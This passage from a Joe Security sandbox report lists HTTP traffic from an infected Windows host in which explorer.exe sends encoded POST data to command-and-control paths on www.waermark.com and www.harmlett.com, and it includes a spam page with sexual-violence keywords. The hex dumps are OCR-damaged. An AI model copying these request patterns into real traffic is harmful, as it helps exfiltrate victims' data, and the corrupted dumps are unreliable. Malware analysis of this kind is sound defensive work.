354371394830 66 67 6e 66 36 38 61 46 38 48 69 64 43 42 41 56 49 74 53 61 43 52 73 57 66 66 55 31 64 5f 4c 49 78
73 7e 54 58 57 7a 34 62 6d 7a 79 44 50 76 72 66 49 36 41 33 2d 65 71 77 39 56 6a 64 2d 7e 71 68 58 4d 77 4c 69 65 67

52 2d 38 55 73 62 65 6¢ 4c 4a 5a 50 72 72 6f 6a 71 52 57 73 7e 4d 46 47 62 6b 38 54 41 76 67 79 71 31 43 58 62 42 45
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Timestamp LEpee Direction
transferred

Session ID Source IP Source Port

34 192.168.2.6 49868

Timestamp e Direction
transferred

May 27, 2022 703 ouT

19:07:14.390311003

CEST

Copyright Joe Security LLC 2022

23.19.171.24 80

50 63 61 76 57 69 35 35 77 74 64 76 56 6b 38 78 61 36 4d 45 72 69 41 6¢ 35 59 78 30 64 67 75 48 54 36 37 28 53 43 44
PRI 53 70 62 72 6¢ 53 74 6d 31 44 42 65 44 54 53 63 55 65 67 35 54 33 35 2d 4e 4a 48 51 41 7a 39 58 68 32 53 43 4f
68 59 73 45 48 6d 5f 71 4a 6b 59 7e 38 43 57 79 66 31 48 42 61 5a 30 4c 61 4e 45 66 55 32 4f 28 44 28 74 54 47 34 34
63 68 7a 35 68 74 33 51 7a 51 61 6f 6a 36 62 59 74 4c 52 66 66 31 77 2d 39 44 6f 50 58 49 7a 73 53 5a 4d 78 70 63 33
58 43 4e 75 44 49 30 50 49 51 4b 68 43 49 33 63 5a 4e 43 7a 62 72 31 51 77 79 47 6e 31 57 61 4d 78 75 5f 69 59 55 4f
59 50 73 53 74 4c 72 30 4d 77 7e 38 28 41 4b 71 46 67 71 48 4a 4e 52 73 46 6a 54 39 5a 46 31 38 4d 33 30 67 39 2d 39
4b 69 79 65 6¢ 6b 54 7e 66 65 74 76 63 61 75 7a 53 6d 4c 43 55 57 41 37 6f 72 44 63 41 7e 43 6d 4f 4d 49 6d 38 35 63 7
a 30 61 37 33 53 47 50 58 5f 48 66 39 46 6f 63 50 2d 59 6b 72 61 28 71 35 77 4c 59 78 54 6f 78 70 6e 75 45 4e 76 48 72
42 58 4d 62 4e 73 56 67 57 6e 7a 35 4a 63 53 65 38 45 47 6¢ 38 4f 31 39 6b 6e 49 35 72 54 34 66 37 39 56 6e 72 69 31
55 4b 5a 33 52 41 64 4c 5a 4c 5a 63 2d 7a 6f 73 56 6¢ 47 6b 53 53 54 34 47 61 37 46 59 6d 59 52 59 42 73 53 6d 49 42
63 53 72 71 46 53 78 4c 4b 5a 63 63 28 34 6f 38 33 6e 70 56 50 6d 76 54 43 4e 47 6d 69 56 64 39 38 68 75 4a 36 52 4a
74 37 4e 46 31 46 70 4a 48 71 73 41 63 71 73 39 41 44 6f 4a 31 61 52 49 79 53 33 56 42 58 43 64 6e 67 7a 35 43 56 61
4a 63 4c 55 77 4a 68 6¢ 57 63 38 38 56 53 41 39 34 75 33 78 75 79 50 67 64 52 46 69 73 42 63 6f 59 44 79 79 67 79 49
53 43 36 59 34 70 77 69 39 30 66 71 4d 64 56 43 37 44 45 41 74 53 78 70 49 58 6f 77 64 6¢ 77 49 4d 55 6b 30 6f 6b 42
42 5f 69 72 34 41 63 50 52 7a 52 64 4e 56 6a 64 31 77 54 44 4d 31 51 79 28 57 35 67 6d 4d 51 54 53 56 46 5a 4e 68 61
63 66 6f 54 7a 39 76 75 63 59 55 56 6b 4c 4f 5a 6e 51 5a 48 56 55 4e 49 47 73 77 68 61 4d 65 50 43 32 63 77 2d 55 63
6f 63 77 59 30 35 73 58 76 32 72 53 73 6a 6b 2d 49 72 53 4e 69 49 47 34 62 48 61 33 56 70 72 5a 31 63 37 5f 43 6e 33
57 49 67 53 6d 42 38 48 37 54 58 6a 64 6d 4d 32 63 46 46 34 64 6f 4c 67 6¢ 4e 6d 47 63 47 2d 5a 4a 35 4f 65 5f 66 63 57
54 55 4a 4a 5a 46 49 51 6f 4b 72 79 48 35 70 71 6e 4c 64 74 78 46 6d 6a 4d 38 33 42 52 36 63 6f 46 4e 65 6a 54 78 51 7
7 64 68 6f 54 72 75 6d 28 56 30 73 4c 6e 36 78 63 38 41 4a 57 47 49 4a 72 51 34 54 4c 68 4d 54 70 54 50 6e 4d 39 4e 34
38 68 56 56 4a 5f 30 5f 77 63 74 4e 54 72 7e 57 35 71 57 49 33 4a 58 6b 31 35 5a 53 52 4c 4c 72 66 39 37 48 68 71 71
67 34 57 46 4c 69 47 45 72 47 68 45 77 4e 51 39 65 36 77 37 77 74 73 41 2d 53 62 4b 59 69 54 42 47 46 35 47 5a 53 64
73 4542 5a 58 71 53 45 51 64 51 67 38 44 28 4a 71 46 32 52 45 68 78 57 4b 66 68 33 38 36 73 74 45 4d 35 51 48 49 62
7037 63 66 34 6d 76 66 35 49 41 31 54 4f 6b 70 53 4b 47 71 79 48 4b 49 56 6f 48 32 75 51 31 52 77 45 66 54 6b 75 42
33387341 4a50 73 3868 4d 79 65 35 71 54 6a 6b 6a 73 33 45 4c 7a 50 65 67 4a 49 5a 58 34 4d 58 75 36 58 68 4d 78
6e 48 38 32 58 6d 63 47 65 73 48 6e 77 70 67 59 76 34 4e 47 66 78 44 68 73 61 67 6¢ 37 77 4d 38 46 7a 63

Data Ascii: 3fk4oN=IdSGzFnZ14tVqFh2ixzMtSMP35yG(CwQNPBXahJBzwr-Tf7b9EcM6P8D0OFu55sxhbbIET_K
2hFWmij(yAD5XqIDoUDR_vi80aKQrgl~Qm961J-Bev18Hnpk8StflyKsLoozPEZ42unwRTczmb6hsUTR5WGsJAMKn4
bOmM0zeVO2HZ40ZQO-qgEC2wojSd74lhVLIxyjfZNZzcDHXp8wl1puHAgIO07zR8z85Cq9H0fgnf68aF8HIdCBAVItS
aCRsWffuld_LIxs~TXWz4bmzyDPvrfl6A3-eqw9Vjd-~ghXMwLiegR-8UsbelLJZPrrojgRWs~MFGbk8TAvgyqlCXb
BEPcavWi55wtdvVk8xa6MErAI5Yx0dguHT67(SCDAJSpbriStm1DBeDTScUeg5T35-NJHQAZz9Xh2SCOhYsEHm_gJk
Y~8CWyflHBaZ0LaNEfU20(D(tTG44chz5ht3QzQaoj6bYtLRff1w-9DoPXIzsSZMxpc3XCNuDIOPIQKhCI3¢cZNCzbr
1QwyGnlWaMxu_iYUOYPsStLIOMw~8(AKqFggHINRsFT9ZF18M309g9-9KiyelkT~fetvcauzSmLCUWA70rDcA~CmOM
Im85¢z0a73SGPX_Hf9FocP-Ykra(q5wLYXToxpnuENVHrBXMbNsVgWnz5JcSe8EGI8019knI5rT4f79VnrilUKZ3RA
dLZLZc-zosVIGKSST4Ga7FYmYRYBsSmIBcSrgFSxLKZcc(4083npVPmvTCNGmiVd98huJ6RIt7TNF1FpIHgsAcqs9AD
0J1aRlyS3VBXCdngz5CVaJcLUwJhlWc88VSA94u3xuyPgdRFisBcoYDyygylSC6Y4pwi90fgMdVC7DEAtSxplXowdl
wIMUKOOKBB_ir4AcPRzRANVjd1wTDM1Qy(W5gmMQTSVFZNhacfoTz9vucYUVKLOZnQZHVUNIGswhaMePC2cw-
UcocwY05sXv2rSsjk-IrSNilG4bHa3Vprz1c7_Cn3WIgSmB8H7TXjdmM2cFF4doLgINmGcG-Z2J50e_fcWTUJIZFIQoKryH5
pgnLdtxFmjM83BR6coFNejTxQwdhoTrum(VOsLn6xc8AIWGIIrQ4TLhMTpTPNMIN48hVVJI_0_wctNTr~W5qWI3JIXk1
5ZSRLLIf97Hhqqg4WFLIGErGhEWNQ9e6w7wtsA-SbKYiTBGF5GZSdsEBZXqSEQAQg8D(JgF2REhxWKfh386StEM5QH
Ibp7cf4Amvi5IA1TOkpSKGayHKIVoH2uQ1RWEfTkuB38sAJPs8hMye5qTjkjs3ELzPegJIZX4MXu6XhMxnH82XmcGes
HnwpgYVv4NGfxDhsagl7wM8FzcqeBbfifQ45Y SyY~fnkyJ4OBCihS38-91kcHzOhRMaJNvPI1z(IMUnJ48JG100kpXd
YzQoAsKyoubORQ26yR13f~7BAGEfC~XD55dK83Rc4J9nFUKT_d7M_c7HBNf3uWLTt94wtl6Qeb3txnvrljQwvHIEZe
v3cH6e42w3wPkeVARHOCNKNgShaFgjmuK6oxYLjoYObsuNPFGVA~mCjltWAEKFD1k3uHcemLalVIv7o3eW2ILhWnoU
MhfM2PCT9rzZRmmFxw(7nbCg4iDks07_XvTvWedQpWDIrWvbvQpoB1Spe7~_TPFnR0OpoOprrSx2b4D002MrQDYjfmyD
DXVr5NHO84DMRLSLSyWvgK1DZEYtoAdgk0JKpgdykMJJI7jQxJOjxhIne2b8cHYAHMQ2N9draPSTQMkVJIIdZNDT7ht2
WijL5s_Zp7LNToTzVV2HcoCoVIiM7JqMLBALK4ij8X5ypg7xMwlUm1ldmuZ0j-IxYn04fBYJjyHmJcYtglHwScqlyl4
u7re5dwBf0zuOmX1XupQhchBaxrjjumvohVUiUxUvyQRb70wpt63eJtlYjTjEo9DyUHkKjXikolGolMmzJjrq7FI2Bp
wa8JGOug4wnQzF6WepfiFudfaXFZjwmSAkz~xo2p6apFpZmieuW5WN5rxJJla2lKNRwUT2GdrinbPsOn7Dqu8cAHQ(
2v8aKgNQ9ft7TMuzWZzkCDItCG6Hp7aw3NoVT~pISMuxYUp20ESe8PdrFvtybWnpYFmHkHywgglOSC38wiYtaa0SwW-S
F33TT8BUREN8OWMFIw4tI3csqM5FWy-oVdBAXFsehw_SsDkVJsQYdqfpahiTEq8A4GGIXvQ8J9dXGhl-xwjHujawbcr
5g3elsBcTXMEG508C9psKMOL _121Lq4G-a98cPhg3cFLb6Imi7nzHE8PXQDOhHKE7(UKJ2rZhxcZtVNtSgx2yWZ6B(
miclg~fyUgAdPOOZaB5SFzjygtZLDX_bzqOp_1cTZo3VPy1KVsIMmMD77ViQqX2fHsIMUHi-zUDCbaSohmkfv0zA5Mx
smmOIKKA2KIXLdgcLEIS6dCIEX_pWbYaYby8RT7qR5iDv8CIqGfpQX3q5rZUvnACOmMtDPGDDow9P6mrICIIWuU2WiE3
17ebfJEU_Qm7Sc8A6fReDBou-Y_TjgiR4ANFIRAONWCecX0gRROPrB5ZtRC5m6X82reL SliMalygKQbL~-EgNukQIWT
WFJID1iCgmPECYU9RU(-FIt8Zj~TD1XcBrbolg30eFmauU5NIfsz2aOGJIFgI3E9Y 7u0zX3uUsyXAragOEfXORFyUpX4
GpOrrlIxcHiwrhtkzG7P5GURks-30JauAdlajLxKtwn2nVKJI5UKVj(IT9005IbVKjzhzZAhwL WPWKWE4e J2fbEx33Ke
kSWmIDBARfQAVLOJKGcoPkqQn7V631nTM~bRm8jM8X5UVPYPaApBYe6wZ8XnRHR5R(559(NED1IZFGEP
ihUt72GhpFqsjz2Y2TeUhlOyX6euSzqaDMdfTid7dZqa5UWGZYSCd35IQDMk3yBDBTUhr6AzeRCcTK-PKKL6gljrTh
RZBRJIn3BIQKKkzjs9CNZC5s3Zf52r939kzvNKblvgsjTI3BW(ghXvQ(IC9Y9r0dMINdRDWbRUOEAO_QHbabzm36Q3ZE
GHNQOCUO0OXRfisi2pMBEDD6ggDAXDuCzrlfdxBuagDOI2foSWFD1bAENFIWKGIAIWOQr028ZsT6LiArgn~RDUDBOly
NF8KRGuUmdTzsxe9s6EVI6yGWACTUpCjKPaRbHVmMIY6n94(RPnutOvBtM49ZGjbKj9z7sNTamS74U7RKET4SMsdzeUU
DB2hV4uqzpCsnngsQrKIK3Xt2ve8BGr7odSdbaFmgSzRj9gqUkCeGEcWXMp2EhfXwB1cHyMc06yhUCJIV7mfCOJIVrcE
he3gVswgB8JGMJdIk2eTa(oaylUjON1QOpwWiu73T~9bIxAPe9Z1CYbAIicT1nkllI6Las8YIhZM(8V89DnqstG5Lrd
AmX47VDrXCIfRcRSupApFqRvVNBNgj90IKLf3VNoMzKPsQpFOIZUXIYth62MdRZW8y_1EDfJJUESUI63Z7cywhalEQ
v5J0Tin4zkEKLIQWmBN3RZBVghuXJEx1WsYj540W5DSoNOsCORpGQgR7TGbwNSLWY (LAZMWUZz4V~183G
n9Pd6i7NeW6UPTzFOjX2MV91XL65W1etDOB1I8HdrS68HVMYy8NSg3AghC310w1gLcIWqEEYfmtNpBmfX1Y4Z3kutgE
SXMxVmDibvN3HEGCcKF6S-QMisbXab(DGf6nlliJyR9uZM5GsDDUJVOh6oDodYdKh2viHV10Qj3CO1bnRN7_DmI2JHx
YIMEJ4Q7k4D7BB0885YPMyW8dxMMplkHbYaL PuMMBKRQUFggvymexYwrgMKtIOMréusfuTP6gEFJjghN8S4pfmVjs|
G3An9ac8TtAUIGLP3sPnNi3sPSMMw38WOAPh(tzJf3t2JzBbgO4ZCGdk-cCky4ZcNevS88qHoH87N8bHyouSkE3Cv384-
Att2tTjFPG4BithN6MSHTyxx1XuOBeGvIHTwt y7TWr3(htiRiCefgEJD1GsxAx8GtzWfyNK9A6YyQ13BvuB5qZ
X~pBEKPTsnK92~04i(uUGGV4ATEM2YtdoBRE500XZx65YhKg~G5xpO0LVcpHRAIPIVFEmMq7

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?aDHdzD=vpgdJ4mxrh&3fk4oN=Hfm8tjP++bF99H8YixudyiAA2pucxCUNYZIpJGNk6F/7VNXQ3kF60q
1lennPYkdM2cMsNINi87w== HTTP/1.1

Host: www.harmlett.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp e Direction
May 27, 2022 717 IN
19:07:14.579607964
CEST
Session ID Source IP Source Port
35 192.168.2.6 49869
. kBytes . .
Ti Di
imestamp transferred irection

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Date: Fri, 27 May 2022 17:07:15 GMT

Content-Length: 1783

Content-Type: text/html

Server: nginx

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f
78 68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65
3d 27 bf a6 ca b2 c3 b5 bf b2 ce ef c1 {7 d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c 74 69 74 6¢
65 3e 26 23 32 39 33 30 35 3b 26 23 34 30 36 34 34 3b 26 23 32 34 36 31 35 3b 26 23 32 36 32 39 32 3b 26 23 32 31 31
34 37 3b 26 23 32 34 33 37 38 3b 26 23 32 32 39 30 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35
37 37 33 3b 26 23 32 35 39 31 38 3b 2c 26 23 33 30 30 30 37 3b 26 23 32 31 35 31 36 3b 26 23 32 36 37 30 30 3b 26 23
32353232 363b 262332353130 353b 2623 33 33 31 3531 3b 26 23 32 35 31 37 31 3b 26 23 32 34 3332 30 3b 26
23323537 32303b 262332313034 30 3b 26 23 33 39 36 34 30 3b 26 23 32 38 35 32 36 3b 2c 26 23 32 30 31 33 32
3b 26 23 32 35 34 34 32 3b 26 23 32 39 36 30 39 3b 26 23 32 34 33 32 34 3b 26 23 32 30 30 30 34 3b 26 23 32 30 30 31
30 3b 26 23 33 32 36 35 34 3b 26 23 32 32 39 31 39 3b 26 23 32 35 39 34 35 3b 26 23 32 34 30 37 32 3b 2c 26 23 32 30
383531 3b 26 23 32 36 31 39 35 3b 26 23 32 34 34 32 30 3b 26 23 33 36 39 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33
39 36 34 30 3b 26 23 32 38 35 32 36 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 3c 2f
7469 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22
26 233239 3330 35 3b 26 23 34 30 36 34 34 3b 26 23 32 34 36 31 35 3b 26 23 32 36 32 39 32 3b 26 23 32 31 31 34 37
3b 26 23 32 34 33 37 38 3b 26 23 32 32 39 30 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35 37 37
33 3b 26 2332 35 39 31 38 3b 2c 26 23 33 30 30 30 37 3b 26 23 32 31 35 31 36 3b 26 23 32 36 37 30 30 3b 26 23 32 35
323236 3b 2623 3235313035 3b 26 233333313531 3b262332353137313b262332343332303b262332
3537 32 30 3b 26 23 32 31 30 34 30 3b 26 23 33 39 36 34 30 3b 26 23 32 38 35 32 36 3b 2c 26 23 32 30 31 3332 3b 26
233235343432 3b26 233239363039 3b 26 23 32 34 33 32 34 3b 26 23 32 30 30 30 34 3b 26 23 32 30 30 31 30 3b
26 23 3332 36 3534 3b 26 23 32 32 39 31 39 3b 26 23 32 35 39 34 35 3b 26 23 32 34 30 37 32 3b 2¢c 26 23 32 30 38 35
31 3b 26 23 32 36 31 39 35 3b 26 23 32 34 34 32 30 3b 26 23 33 36 39 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 39 36
34 30 3b 26 23 32 38 35 32 36 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 22 20 2f 3e
0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32
39333035 3b 26 23 34 30 36 34 34 3b 26 23 32 34 36 31 35 3b 26 23 32 36 32 39 32 3b 26 23 32 31 31 34 37 3b 26 23
3234 33 37 38 3b 26 23 32 32 39 30 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35 37 37 33 3b 26
2332353931383b2c 26 233330303037 3b 262332313531 36 3b26 23 32 36 37 30 30 3b 26 23 32 35 32 32 36
3b 26 23 32 35 31 30 35 3b 26 23 33 33 31 35 31 3b 26 23 32 35 31 37 31 3b 26 23 32 34 33 32 30 3b 26 23 32 35 37 32
30 3b 26 23 32 31 30 34 30 3b 26 23 33 39 36 34 30 3b 26 23 32 38 35 32 36 3b 2c 26 23 32 30 31 33 32 3b 26 23 32 35
3434 32 3b 26 23 32 39 36 30 39 3b 26 23 32 34 33 32 34 3b 26 23 32 30 30 30 34 3b 26 23 32 30 30 31 30 3b 26 23 33
3236 3534 3b 26 23 32 32 39 31 39 3b 26 23 32 35 39 34 35 3b 26 23 32 34 30 37 32 3b 2c 26 23 32 30 38 35 31 3b 26
233236 3139 35 3b 26 23 32 34 34 32 30 3b 26 23 33 36 39 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 39 36 34 30 3b
26 233238353236 3b 26 23323433

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#29305

1 &#A0644;8#24615;8#26292;&#21147;8#24378;&#22903;&#22312;&#32447;8#25773;&#25918;,8#30007;&#21516;&#
26700;&#25226;&#25105;8#33151;&#25171;&#24320;&#25720;&#21040;8#39640;&#28526;,&#20132;&#25442;&#296
09;&#24324,8#20004;8#20010;&#32654,&#22919;8#25945;&#24072;,&#20851;8#26195;&#24420;8#36973;&#24378;
&#39640;&#28526;&#24320;&#21452;&#33151;</title><meta name="keywords" content="&#29305;&#40644;&#246
15;8#26292;&#21147,8#24378;&#22903;8#22312;&#32447,&#25773;8#25918;,&#30007;8#21516;&#26700;&#25226;
&#25105;&#33151;8#25171;&#24320;&#25720;&#21040;&#39640;8#28526;,&#20132;&#25442;&#29609;8#24324;8#2
0004;&#20010;&#32654;8#22919;&#25945,&#24072;,&#20851;&#26195;&#24420;&#36973;8#24378;&#39640;8#2852
6;&#24320;&#21452;&#33151;" /><meta name="description" content="&#29305;&#40644;&#24615;8#26292;&#21
147,&#24378;8#22903;&#22312;&#32447;&#25773,&#25918;,&#30007;8#21516;&#26700;&#25226;&#25105;&8#33151

1 &#25171;8#24320;8#25720;&#21040;8#39640;8#28526;,&#20132;8#25442;8#29609;8#24324;&#20004;8#20010;&#
32654;&#22919;8#25945;8#24072;,&#20851;8#26195;&#24420;&#36973;&#24378;8#39640;8#28526;&#243

Destination IP  Destination Port Process
185.53.179.172 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp T Direction
May 27, 2022 720 ouT
19:07:19.645133972
CEST
Session ID Source IP Source Port
36 192.168.2.6 49870
kByt:
Timestamp yes Direction
transferred
May 27, 2022 733 ouT
19:07:19.660165071
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.waermark.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.waermark.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.waermark.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 68 72 35 36 33 77 7a 61 76 58 56 62 7a 43 70 4e 64 64 43 56 55 72 62 55 71 55 4f 50 4e
7855 6d 38 4f 62 49 79 55 76 6e 65 68 36 55 32 50 72 35 51 4b 73 62 6b 42 77 6d 41 41 61 32 33 58 53 2d 28 56 6b 53
72 3034 33 4a 48 6d 6¢ 4f 79 6b 4c 79 71 48 32 64 71 41 2d 78 44 64 65 78 78 6a 64 51 67 41 48 35 39 56 69 44 6¢ 69
66 35 64 72 38 7a 66 64 51 4d 41 56 66 41 4b 71 36 64 30 57 6f 55 76 46 6d 35 62 67 79 46 35 34 70 74 50 51 39 4e 4f 2
8 5f 7a 58 41 32 63 74 44 49 65 53 4b 35 4c 69 42 53 34 7a 62 56 64 52 44 6¢ 41 34 6d 43 6f 32 43 73 4d 33 74 43 58 64
7a 4b 6a 39 56 4c 61 46 39 51 68 69 74 71 73 74 51 53 49 78 39 54 35 47 4c 65 74 4f 72 52 63 59 6e 65 45 38 72 45 33
57 46 42 67 5244 33 67 75 44 44 73 71 30 73 51 67 6¢ 58 73 2d 68 6¢ 4d 50 37 6f 7e 41 68 51 65 49 4b 6d 51 35 4a 50
53 41 33 4b 4f 70 6a 61 6e 54 70 4f 73 58 28 32 4f 52 52 56 66 48 79 74 74 46 57 55 7e 49 28 70 6a 69 55 6d 7a 5f 6e 67
6d 39 4c 7a 39 74 48 56 5a 35 53 66 28 67 5a 4a 35 61 4a 30 76 6f 79 56 48 54 4a 68 77 46 70 53 6¢ 39 42 4d 6d 62 52
66 77 54 41 58 62 49 49 37 39 57 75 35 79 44 74 62 42 6d 72 72 6e 4a 7e 58 7e 54 4e 62 4f 38 77 31 35 43 66 75 45 62
67 53 58 4f 49 2d 38 51 63 31 79 66 6e 54 43 64 56 66 6d 48 4e 45 6f 54 63 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=hr563wzavXVbzCpNddCVUrbUqUOPNxUm80blyUvneh6U2Pr5QKsbkBwmAAa23XS-(VkSro4
3JHmIOykLygH2dgA-xDdexxjdQgAH59ViDIif5dr8zfdQMAVAKg6d0WoUvFm5bgyF54ptPQINO(_zXA2ctDleSK5L
iBS4zbVdRDIA4mCo02CsM3tCXdzKj9VLaF90QhitqstQSIx9T5GLetOrRcYneESrE3WFBgZD3guDDsq0sQglXs-hIMP7
0~AhQelKmQ5JPSA3KOpjanTpOsX(20RRVIHyttFWU~I(pjiumz_ngm9Lz9tHVZ5Sf(gZJ5aJ0voyVHTIhwFpSI9BMm
bRfWTAXbII79Wu5yDtbBmrrnJ~X~TNbO8w15CfuEbgSXOI-8QclyfnTCdVfmHNEOTC.

Destination IP Destination Port Process
185.53.179.172 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.waermark.com
Connection: close
Content-Length: 36488
Cache-Control: no-cache
Origin: http://www.waermark.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.waermark.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 33 66 6b 34 6f 4e 3d 68 72 35 36 33 31 61 52 79 33 34 46 39 79 31 75 63 50 79 42 42 4c 4c 53 6f 45 61 41 49
7835 2d 34 36 57 35 76 45 28 61 4d 51 43 4b 79 5f 32 5a 55 4¢ 30 35 6b 46 34 4c 62 6d 43 71 7a 79 4b 5f 28 56 73 4e
72 3038 33 4b 48 4f 31 4f 51 63 78 31 49 28 31 63 4b 41 4f 77 44 64 4d 31 30 37 77 51 67 30 31 35 39 74 79 44 57 32
66 35 37 6e 38 33 75 64 74 42 41 56 64 4e 71 61 2d 51 55 71 66 55 72 70 45 35 5a 6b 79 43 4a 38 70 69 50 67 79 47 74
6e 38 36 6e 41 4a 4b 64 43 49 46 69 48 49 4c 69 45 42 34 79 33 56 49 79 33 6¢ 42 70 4b 43 74 46 61 72 48 6e 74 62 47
4e 7a39 70 64 70 61 61 46 68 63 68 67 41 58 73 38 6b 53 4a 42 39 57 38 51 4c 57 38 70 66 47 51 34 54 35 45 38 33 68
3344 64 4a 67 59 76 62 67 64 62 34 6f 49 64 4a 51 69 6f 5a 75 65 68 70 47 76 37 4e 7e 41 68 67 65 49 4c 48 51 36 52
50 53 48 4c 4b 50 49 54 61 77 54 70 52 78 48 28 7a 47 78 51 4c 62 43 71 30 74 46 65 6¢ 7e 4b 28 58 6a 55 41 6d 79 74
66 67 32 73 4c 77 6f 4e 48 58 57 5a 54 61 75 51 5a 47 35 61 49 52 76 71 62 4b 48 43 5a 68 32 55 70 53 70 37 31 4d 68
7252 66 36 7a 41 52 56 5a 31 6d 39 57 32 39 79 43 64 6¢ 42 52 62 72 69 50 71 58 35 79 4e 62 49 4d 77 31 7a 53 65 51
43 4c 4a 45 54 65 4e 66 37 52 77 68 6e 75 54 67 4a 50 45 44 77 46 4e 6b 33 58 76 63 4d 4f 5a 34 34 4b 45 5f 62 4e 71
377854 73 34 6d 6d 36 70 6f 41 43 79 56 36 7e 6e 54 56 62 47 35 5a 66 4c 44 5a 36 31 67 63 38 71 5a 51 6e 36 33 72
54 4b 43 49 31 32 67 62 46 61 64 61 33 53 72 64 71 45 54 79 42 49 6b 4d 6f 64 4b 32 6a 73 6d 75 45 4d 79 4a 49 78 5a
63 58 43 57 6f 70 35 78 70 33 4e 6f 62 73 2d 4b 37 43 34 4f 6b 31 50 62 63 58 2d 64 7a 65 70 52 33 6¢ 53 72 52 57 4c 71
72 4e 2d 77 4d 42 38 45 59 72 63 5a 63 44 55 34 6d 35 73 62 54 73 48 72 42 57 34 53 38 44 6b 43 38 53 62 43 30 44 75
4e 7a 67 43 4d 64 54 78 6¢ 42 48 47 77 7551 6¢ 6a 50 34 6¢ 76 76 6e 48 6b 55 53 4f 6d 59 65 75 61 6d 6a 49 66 32 66
4a 47 79 56 57 79 41 6e 59 66 47 4c 46 4e 74 30 76 49 33 6¢ 50 4e 35 44 67 57 6¢ 74 76 53 4e 49 47 61 46 72 6d 64 46
30 70 55 62 52 68 31 4e 45 7a 67 47 34 66 48 75 42 4b 6f 5a 28 79 4b 61 73 66 4d 46 68 77 4d 78 78 44 67 6e 42 69 46
4c 74 70 39 38 6f 6a 70 37 46 32 51 54 59 73 56 64 6¢ 48 6b 6f 6¢ 44 66 4b 32 74 63 54 31 58 4c 79 4e 4e 59 59 4c 64
32 78 6f 70 6¢ 61 57 72 34 6d 48 72 47 30 56 45 55 51 74 44 49 69 42 7a 50 30 6a 4c 4c 39 73 4b 58 4e 31 62 44 39 76
64 54 71 77 53 70 38 51 7a 4e 57 48 59 4c 6f 42 52 72 4f 70 79 75 36 57 4e 71 41 30 77 4c 5a 41 31 52 71 7a 38 6b 79
4a39 7a53 72337948 30 77 30 74 30 54 38 71 37 38 59 62 46 4b 43 7a 62 49 4d 59 38 37 43 6d 38 43 4a 62 5a 43 59
63354547 45 74 6d 67 4b 59 34 72 4a 36 77 72 51 31 63 7a 49 39 69 49 6f 42 66 52 6¢ 57 62 44 42 28 73 7471 34 76
68 61 6d 6¢ 6e 44 39 73 34 67 33 57 79 68 5a 46 4e 6f 63 43 42 79 62 32 7e 71 52 64 52 79 4f 4c 63 64 28 61 59 4d 4a
2d 69 55 75 4d 55 79 39 4f 4f 30 31 59 57 56 79 47 78 67 58 6f 68 68 7a 50 51 4a 44 50 6¢ 54 44 46 50 6a 6d 31 65 55 6
246525063 6857 69 50 4e 44 4b 64 69 44 49 76 73 41 30 46 35 79 7a 6b 48 78 43 32 54 6a 70 4c 66 4b 71 71 69 50
39 78 53 70 49 41 5a 52 54 34 57 6f 6d 50 30 35 65 73 33 74 6f 6f 68 62 33 37 6f 55 78 69 58 35 6d 7a 54 6e 75 34 56 5a
5f 36 38 64 6b 7e 58 56 7a 45 67 51 74 28 32 64 31 54 6¢ 5a 69 4b 72 35 67 63 6f 59 59 6a 55 51 68 66 4e 77 51 39 55
74 36 57 58 44 52 59 38 63 4a 4c 61 38 7a 50 38 4a 49 67 47 42 36 75 66 44 4f 64 79 57 55 7e 63 69 31 72 47 75 76 61
6538 78 42 64 71 42 4b 50 4c 32 31 45 62 34 44 71 42 5a 67 6a 70 39 4d 6d 4c 36 6b 34 7e 44 7e 4b 68 56 75 71 53 77
7050 75 59 44 6a 78 46 55 4d 68 6b 4e 58 50 51 69 49 28 67 74 69 7a 69 54 55 43 66 28 79 55 37 76 77 4f 62 48 36 33
44 33 65 75 63 36 6¢ 35 6d 35 45 45 42 55 34 6b 52 72 71 6e 79 75 31 4a 62 5a 59 28 31 6¢ 67 6f 75 36 61 43 6e 65 74
